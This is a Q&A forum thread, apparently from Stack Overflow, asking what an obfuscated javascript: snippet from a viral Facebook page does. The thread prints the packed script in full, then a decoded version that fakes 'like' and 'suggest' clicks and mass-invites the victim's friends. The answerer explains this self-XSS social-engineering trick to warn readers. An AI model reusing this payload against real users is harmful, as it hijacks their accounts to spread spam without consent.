facebook - What exactly does this piece of JavaScript do? -

i saw page growing in popularity among social circles on facebook, what 98 percent bla bla... , walks users through copying below javascript (i added indentation make more readable) address bar. looks dodgy me, have basic knowledge of javascript.

simply put, do?

javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){     e=function(c){         return(c<a?'':e(parseint(c/a)))+((c=c%a)>35?string.fromcharcode(c+29):c.tostring(36))}     ;     if(!''.replace(/^/,string)){         while(c--)r[e(c)]=k[c]||e(c);         k=[function(e){             return r[e]}         ];         e=function(){             return'\\w+'}         ;         c=1}     ;     while(c--)if(k[c])p=p.replace(new regexp('\\b'+e(c)+'\\b','g'),k[c]);     return p} ('j e=["\\n\\g\\j\\g\\f\\g\\i\\g\\h\\a","\\j\\h\\a\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\k\\a\\l\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\m\\n\\g\\o","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\h\\f\\r\\f","\\g\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\h","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\p\\u\\x\\r","\\b\\l\\q\\l\\r\\b\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\b\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\s\\z\\w\\z","\\j\\y\\f\\r\\g\\h\\t\\g\\l\\i\\u\\o"];         d=u;         d[e[2]](v)[e[1]][e[0]]=e[3];         d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];         s=d[e[2]](e[6]);         m=d[e[2]](e[7]);         c=d[e[9]](e[8]);         c[e[11]](e[10],i,i);         s[e[12]](c);         c(d(){             w[e[13]]()}         ,e);         c(d(){             x[e[16]](e[14],e[15])}         ,e);         c(d(){             m[e[12]](c);             d[e[2]](y)[e[4]]=d[e[2]](z)[e[5]]}         ,e);         ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6c|x73|x6e|x61||x76|x67|x63|x45|x6d||x64|x6f|x5f|x68|x72|x75|x70|x79|x2f|settimeout|function|5000|x62|x4d|x6b|true|var|x42|x49|x48|x54|x4c|x66|x6a|x78|x2e|x44|document|mw|fs|socialgraphmanager|ifo|ifc|||||||'.split('|'),0,{ } ))})(); 

i don't know many downvoting this. absolutely right suspicious packed , otherwise-obfuscated scripts, rash of malvertisements affecting fb apps @ moment.

the first trick replace eval on results of unpacker alert can see code instead of executing it. gives can (but boringly) manually decode to:

document.getelementbyid('app120668947950042_mwrapper').style.visibility='hidden';         document.getelementbyid('app120668947950042_jop').innerhtml=document.getelementbyid('app120668947950042_jode').value; s=document.getelementbyid('suggest'); m=document.getelementbyid('likeme'); c=document.createevent('mouseevents'); c.initevent('click',true,true); s.dispatchevent(c);  settimeout(function(){     fs.select_all() }, 5000); settimeout(function(){     socialgraphmanager.submitdialog('sgm_invite_form','/ajax/social_graph/invite_dialog.php') }, 5000); settimeout(function(){     m.dispatchevent(c);     document.getelementbyid('app120668947950042_ifo').innerhtml=document.getelementbyid('app120668947950042_ifc').value }, 5000);         

that looks it's faking click on ‘like’ , ‘suggest’ buttons (and subsequent dialogue), circumventing normal controls fb require interact site.

i'd report page fb.

in general, asks enter javascript url no good. poor-man's-xss. allowing someone's code onto page through js url trusting them want use of site, crude social-engineering attempt demonstrates. it's depressing if lot of people falling this. maybe it's time browsers disallow typing javascript: urls in address bar.

curse netscape inventing ugly javascript: not-really-a-url hack , thousands of security holes have resulted it!